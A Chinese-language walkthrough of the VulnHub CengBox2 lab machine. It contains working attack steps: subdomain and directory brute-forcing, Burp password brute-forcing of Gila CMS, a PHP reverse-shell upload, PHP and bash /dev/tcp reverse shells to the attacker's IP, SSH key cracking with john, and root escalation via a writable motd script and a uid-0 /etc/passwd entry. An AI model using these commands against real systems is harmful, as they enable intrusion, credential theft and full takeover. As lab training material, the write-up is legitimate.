目录
1.前言
本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。
2.准备工作
镜像下载地址:https://download.vulnhub.com/cengbox/CengBox2.ova。
难度:中等
镜像下载完后使用VirtualBox导入,网卡1选择桥接模式,开启靶机
目标:获取user和root的flag。
靶机IP:未知
本机kali IP:192.168.1.107
3.arp-scan主机发现
使用命令:
arp-scan -l
发现了局域网中存活的几台主机,IP:192.168.1.111是我们目标机器。
4.nmap网络扫描
nmap -A 192.168.1.111
发现系统是linux,开放了21、22、80端口,21端口为ftp服务,使用的是vsftpd 3.0.3,22端口为ssh服务,使用的是OpenSSH 7.2p2,80端口为HTTP服务,使用的是Apache 2.4.18。一般来说,漏洞出现在HTTP服务的可能性比较大,首先看看网站。
5.目录爆破
靶机开启了80端口,提供HTTP服务。通过浏览器访问目标机器80端口看看。
是停止运行的提示页面,没有其他东西。靶机存在web网站,服务端是有目录的,试一下目录爆破。直接使用dirsearch 目录扫描工具。
dirsearch -u http://192.168.1.111
扫描到了页面/index.html,访问后发现就是网站以上访问的页面。
想到我们在nmap扫描时候,还有ftp服务,开启了匿名登录。
ftp://192168.1.111
访问发现有个note.txt文件。
内容如下
获得了两个用户名Aaron、Kevin,一个默认密码,域名:ceng-company.vm ,还有个未知的域名。
修改本地hosts文件,添加新行
192.168.1.111 ceng-company.vm
访问http://ceng-company.vm 发现还是原来的网站
6.子域名爆破
想到还有个未知的域名,我们尝试爆破ceng-company.vm的子域名。
wfuzz -H 'HOST: FUZZ.ceng-company.vm' -u 'http://ceng-company.vm/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 53,76
找到一个二级域名admin.ceng-company.vm。
还可以使用gobuster 爆破
gobuster vhost --append-domain -u ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q
把admin.ceng-company.vm加入hosts文件
vim /etc/hosts
访问http://admin.ceng-company.vm 显示禁止访问
再进行目录爆破
gobuster dir -u http://admin.ceng-company.vm -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
扫描到了一个目录 gila
访问http://admin.ceng-company.vm/gila/
发现是一个主页,使用的是Gila CMS,不知道版本信息。搜索一下Gila CMS的信息,得知Gila CMS是一套基于PHP和MySQL的开源内容管理系统(CMS)。Gila CMS 1.11.6之前版本中存在跨站脚本执行漏洞。https://github.com/GilaCMS/ 有源码。后端管理路径在/admin
或者进一步对http://admin.ceng-company.vm/gila/ 进行目录爆破也能获管理员登录路径
通过浏览器访问
http://admin.ceng-company.vm/gila/admin
7.burp密码爆破
有登陆界面,测试下sql注入,sql注入失败
提示输入用户名、密码,用户名是一个email地址。联想到在ftp里找到的note.txt里面内容,Aaron为Kevin创建了一个账号,密码是默认密码。知道了有两个用户Aaron、Kevin,Kevin的密码是默认密码。需要知道Kevin的email地址,想到一级域名ceng-company.vm。把它们拼接在一起得到两个email地址,kevin@ceng-company.vm和aaron@ceng-company.vm。
默认密码不知道是什么,直接在burp中尝试密码爆破。
burp设定如下
爆破的时候字典很重要,经过一段时间显示账号Kevin@ceng-company.vm和kevin@ceng-company.vm 通过密码admin 都能登录。
登录成功后
发现gila CMS 版本是 1.10.9,提供了文件上传功能。
8.获取反弹shell
上传我们制作的反弹shell,或者找一个能访问的php文件,把反弹shell的PHP代码替换到其中。
直接用kali自带的反弹shell代码,代码位于目录
/usr/share/webshells/php/php-reverse-shell.php
使用反弹shell代码完全替换index.hp代码。注意要全部替换掉,犯错了会导致网页找不到,只能从头开始。
反弹shell代码中的,ip、端口要修改成我们监听的。
在攻击机上运行nc,开启监听。
nc -vlp 5678
然后通过浏览器访问
http://admin.ceng-company.vm/gila/admin/fm?f=./index.php
在监听的终端发现,接受到连接。
获取的反弹shell没有显示目录,升级远程shell。
bash -i
SHELL=/bin/bash script -q /dev/null
9.提权
以上步骤已经获得了web shell,但是不是系统用户shell,更不是系统管理员shell,我们期望获得管理员的权限,完全控制目标机器。
9.1获取普通用户shell
sudo - l
可以免密码以swartz权限执行runphp.sh
sudo -u swartz ./runphp.sh
可以执行php的环境,反弹个php shell 到攻击机。
再在攻击机上开启一个终端,启动nc监听
nc -vlp 6666
在PHP环境中运行如下代码:
$sock=fsockopen("192.168.1.107",6666);exec("/bin/sh -i <&3 >&3 2>&3");
成功获得swartz反弹shell
9.2获取普通用户权限
在/home/mitnick目录中发现user.txt。没有权限访问。
在目录下发现.ssh文件夹,存放ssh公钥私钥的地方。
启动php服务,下载私钥到攻击机
在swartz shell中运行
php -S 0.0.0.0:8081
在攻击机终端运行以下命令下载id_rsa
wget http://192.168.1.111:8081/id_rsa
运行
ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
破解出密码为legend
通过ssh使用秘钥登录靶机,账号、密码为:mitnick、legend。直接使用id_rsa会报错,提示权限太多。
降低权限。
chmod 400 id_rsa
再登录
ssh -i id_rsa mitnick@192.168.1.111
按提示输入密码legend
使用mitnick用户成功登录,该用户flag在user.txt文件中。
9.3获取root权限
运行 uname -a
得知系统是64位,下载pspy64s到靶机上授予执行权限运行
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
chmod 777 pspy64s
./pspy64s
经过观察发现 /etc/update-motd.d/00-header等,以root权限定时执行,功能是定时覆盖这些文件用/var/update-motd.d 目录下文件。
经搜索motd是message of the day的缩写,意思是“当天的提示信息”,通常在用户成功登录到Linux后出现,该信息可以从/etc/motd文本文件中找到。一般来说,这个文件是一个静态文本文件,只在某个Linux发行版本完成安装或升级后才会更新。UNIX/Linux系统管理员也通常会把一些重要的信息写到这个文件里面,以方便其他人或自己下次成功登录时需要注意什么和做什么,非常方便。也就是用户登录动作会触发执行这个文件。
当前用户mitnick对/etc/update-motd.d/00header 有写权限,文件具有root权限,在这些文件里面添加想执行的代码,触发文件执行后也会以root权限执行。
经过试验验证,修改文件,退出ssh,重新登录ssh触发/etc/update-motd.d/00-head 。速度要快,修改后的文件会很快自动恢复原状,修改就失败了。
/bin/nano 原始权限
在/etc/update-motd.d/00-header 中添加chmod u+s /bin/nano
为/bin/nano 添加s权限,退出ssh
立刻重新登录
此时修改后的文件内容还存在
/bin/nano 文件权限已经改变,具有s权限
再查看/etc/update-mod.d/00-header 文件内容,发现修改的内容已经丢失。
但是此时我们修改/bin/nano 文件权限已经成功,当前用户运行nano编辑器时,具有了root权限。可以用来编辑/etc/passwd,添加新创建的用户信息。
nano编辑器 使用F1是帮助信息。
按照/etc/passwd格式添加一个用户信息,具体内容请参考,前期文章。【MinU:2渗透笔记】_北辰911的博客-CSDN博客
openssl passwd -1 -salt myroot mypasswd
返回密文是
$1$myroot$GnZc9yty.PKbdedmcw/in.
组装用户信息
myroot:$1$myroot$GnZc9yty.PKbdedmcw/in.:0:0:myroottxt:/root:/bin/bash
使用nano编辑/etc/passwd 添加到最后一行,按Ctrl+O保存文件,Ctrl+X退出。
切换用户到新添加的用户myroot,密码mypasswd。即拥有了root权限。
flag在/root目录下。
在/etc/update-motd.d/00-header写内容,也可是把内容全部替换为
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.107/8888 0>&1
在攻击机监听8888端口
nc -vlp 8888
退出靶机ssh,然后重新连接触发文件执行,获得的反弹shell即为root权限。